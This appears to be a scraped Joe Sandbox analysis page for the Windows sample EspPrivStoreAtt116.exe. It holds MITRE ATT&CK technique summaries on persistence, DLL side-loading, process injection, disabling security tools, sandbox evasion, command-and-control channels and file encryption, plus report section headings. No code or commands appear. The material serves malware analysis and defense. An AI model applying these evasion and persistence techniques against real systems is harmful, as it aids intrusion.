Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EspPrivStoreAtt116.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
EspPrivStoreAtt116.exe

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre